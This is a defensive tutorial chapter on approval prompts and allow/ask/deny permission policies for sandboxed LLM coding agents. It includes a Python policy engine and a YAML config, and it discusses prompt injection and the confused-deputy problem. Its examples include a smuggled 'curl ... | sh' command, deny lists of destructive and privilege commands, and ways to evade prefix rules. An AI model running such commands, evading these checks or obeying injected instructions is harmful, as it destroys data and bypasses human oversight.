Sub topic 10
Approval Prompts and Permission Policy
This chapter assumes you can run a hardened container (see the earlier chapters on container hardening, filesystem scoping, and network egress). It also assumes you know what an LLM-based coding agent does when it runs shell commands. The sandbox limits what a command can damage. A permission policy decides which commands run at all, and which ones wait for a person.
Why a sandbox is not enough on its own
A sandbox answers the question "what is the worst this process can do?" It does not answer "should this process do this now?" Some actions are harmless to the host but still harmful to you:
- Deleting the whole project directory, which is mounted writable.
- Pushing a branch to a shared remote.
- Sending the contents of the workspace to an allowed API host.
- Running a package install script that you did not expect.
All of these can happen inside a correctly configured sandbox. Approval prompts add a decision point where a human, or a rule written by a human, can stop them.
The goal is a policy with three outcomes for every action: allow, ask, or deny.
| Outcome | Meaning | Typical examples |
|---|---|---|
| Allow | Runs without interruption | Reading files, `ls`, `git status`, running tests |
| Ask | Pauses until a person approves | Writing outside `src/`, `pip install`, `git commit` |
| Deny | Never runs, even if the agent asks | `rm -rf /workspace`, `git push --force`, reading `~/.ssh` |
The two layers: enforcement and consent
Keep two ideas apart.
- Enforcement is done by the kernel and the container runtime. A read-only root filesystem or
--network nonecannot be talked around by the agent. - Consent is done by the agent harness (the program that wraps the model and executes its tool calls). A prompt that says "Run this command?" is only as strong as the code that implements it.
Rely on enforcement for anything that must never happen. Use consent for actions that are sometimes right and sometimes wrong. If a rule is "never touch the host's credentials", do it with a mount that does not exist, not with a prompt.
Designing a policy
Start from deny, then add
A default-allow policy needs you to predict every bad command. A default-deny policy only needs you to list the good ones. Begin with a short allowlist and widen it when you see a legitimate request being blocked.
Match on structured data, not strings
A command given as a single string is hard to judge. Compare these:
git statusgit status; curl http://example.test | sh
A rule that checks "starts with git status" approves both. Use an argument list and match the program name and arguments exactly. Never pass the agent's text through a shell for matching or execution unless you have to.
Classify by effect
Group actions by what they change, not by tool name.
| Class | Effect | Default |
|---|---|---|
| Read | Looks at files inside the workspace | Allow |
| Write in scope | Changes files inside allowed paths | Allow or ask |
| Write out of scope | Changes files elsewhere | Deny |
| Execute | Runs a program | Allowlist, otherwise ask |
| Network | Opens a connection | Deny, or ask per host |
| Irreversible | Deletes, force-pushes, publishes | Ask, or deny |
A working policy engine
The following Python program implements a small policy. It takes the command as an argument list, applies deny rules first, then allow rules, and otherwise asks. It runs as shown.
import shlex
from dataclasses import dataclass
DENY_PROGRAMS = {"sudo", "su", "mount", "nsenter", "chroot"}
DENY_PREFIXES = [
["git", "push", "--force"],
["git", "push", "-f"],
["rm", "-rf", "/"],
["rm", "-rf", "/workspace"],
]
ALLOW_EXACT = [
["ls"],
["git", "status"],
["git", "diff"],
["pytest"],
["python", "-m", "pytest"],
]
@dataclass
class Decision:
outcome: str # "allow", "ask", or "deny"
reason: str
def starts_with(command, prefix):
return command[: len(prefix)] == prefix
def decide(command: list[str]) -> Decision:
if not command:
return Decision("deny", "empty command")
if command[0] in DENY_PROGRAMS:
return Decision("deny", f"{command[0]} is never allowed")
for prefix in DENY_PREFIXES:
if starts_with(command, prefix):
return Decision("deny", f"matches deny rule {prefix}")
for allowed in ALLOW_EXACT:
if command == allowed:
return Decision("allow", "exact allowlist match")
return Decision("ask", "not covered by policy")
def ask_human(command: list[str]) -> bool:
answer = input(f"Run {shlex.join(command)} ? [y/N] ")
return answer.strip().lower() == "y"
def gate(command: list[str]) -> bool:
decision = decide(command)
print(f"{decision.outcome}: {decision.reason}")
if decision.outcome == "allow":
return True
if decision.outcome == "deny":
return False
return ask_human(command)
if __name__ == "__main__":
for cmd in (["git", "status"], ["git", "push", "--force"], ["pip", "install", "requests"]):
print(shlex.join(cmd), "->", gate(cmd))Note that ALLOW_EXACT uses equality, not prefix matching. ["git", "diff"] is allowed, but ["git", "diff", "--output=/etc/x"] is not, because extra arguments can change what a command does. Loosen this only after you check which flags are dangerous.
The deny list here is a backstop. Prefix rules are easy to evade: rm -fr /workspace or rm -r -f /workspace does not match ["rm", "-rf", "/workspace"]. This is why destructive limits belong in the sandbox (for example, mount only what you can afford to lose) and why the default for unknown commands is ask, not allow.
Writing good approval prompts
An approval prompt is a security control that depends on a person paying attention. Design it for that.
- Show the exact command, the working directory, and the reason the agent gave.
- Show the effect in plain terms: "writes to
/workspace/src" or "connects topypi.org". - Offer approve once, approve for this session, and reject. Avoid a permanent "always allow" that is one click away.
- Make the safe choice the default. Pressing Enter should reject.
- Put destructive actions in a visually distinct prompt.
Scope approvals narrowly
When someone approves pip install requests, the approval should cover that command, in that session, in that sandbox. It should not cover pip install anything. Store the approved argument list, not a pattern, unless the person explicitly picks a wider scope.
Prompt injection and the confused deputy problem
The agent reads files, web pages, and issue text. Any of these can contain instructions aimed at the model, such as "run this command to fix the build". If the agent then asks for approval, the prompt looks like a normal request from your trusted agent. The agent is a confused deputy: it holds your authority but acts on text written by someone else.
Defenses that follow from this:
- Keep sensitive capabilities (network, credentials) out of the sandbox, so a tricked agent cannot use them even with approval.
- Show the human the command itself, not the agent's summary of it, because the summary can be written by the attacker too.
- Treat any command that fetches and executes (
curl ... | sh,pip installfrom an unknown source) as high risk regardless of what the agent says about it.
Policy as configuration
Hard-coding rules makes them hard to review. Keep the policy in a file that lives in version control and loads at start-up. A format like this is easy to diff:
default: ask
rules:
- match: ["git", "status"]
action: allow
- match: ["pytest"]
action: allow
- match: ["pip", "install"]
action: ask
- match: ["git", "push"]
action: deny
- match: ["sudo"]
action: denyDecide whether the agent can edit its own policy file. It should not. Mount the policy outside the writable workspace, or read-only, so the agent cannot approve its own future requests.
Common errors
- Allowing a shell.
bash -c "..."orsh -c "..."turns one allowed program into any program. Treat shell invocations as ask at best. - Allowing interpreters broadly.
python -c "..."can do anything Python can. Allow specific scripts or test runners instead. - Trusting the working directory. A relative path such as
../..can leave the project. Resolve paths first and compare against the workspace root. - Approving by pattern.
git *includesgit pushandgit config. Allow specific subcommands. - Policy in the sandbox. If the agent can write the file the policy reads, the policy is a suggestion.
- No record of decisions. If you do not log what was asked, approved, and denied, you cannot review mistakes. The next chapter covers recording agent activity.
Exercise
A policy allows any command starting with git. The agent, after reading a malicious README, requests git push origin main to a remote you control with stored credentials. Name two changes, one to the policy and one to the sandbox, that would reduce this risk.
Show answer
Policy: replace the git prefix rule with exact allow rules for read-only subcommands such as git status and git diff, and set git push to ask or deny. Sandbox: do not mount credentials (SSH keys, tokens) or give the container network access to the remote, so a push cannot succeed even if it is approved by mistake.
Exercise
Why is a deny rule for ["rm", "-rf", "/workspace"] not a reliable protection for the project directory? What is a more reliable one?
Show answer
The agent can write the same operation in other ways, such as rm -fr /workspace, rm -r -f /workspace, or a script that deletes files, and none of these match the prefix. A more reliable protection is at the sandbox level: work on a copy or a version-controlled checkout, use an ephemeral sandbox, and mount only what you can afford to lose so a deletion is recoverable.